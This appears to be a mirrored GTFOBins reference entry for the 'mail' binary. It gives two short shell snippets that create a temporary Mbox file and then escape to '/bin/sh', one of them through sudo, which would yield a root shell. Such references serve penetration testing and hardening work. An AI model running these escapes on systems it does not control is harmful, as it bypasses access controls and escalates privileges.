1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00
GTFOBins.github.io/_gtfobins/mail.md
2018-07-04 19:26:52 +01:00

459 B

functions
execute-interactive sudo-enabled
description code
This creates a valid Mbox file which may be required by the binary. TF=$(mktemp) echo "From nobody@localhost $(date)" > $TF mail -f $TF !/bin/sh
description code
This creates a valid Mbox file which may be required by the binary. TF=$(mktemp) echo "From nobody@localhost $(date)" > $TF sudo mail -f $TF !/bin/sh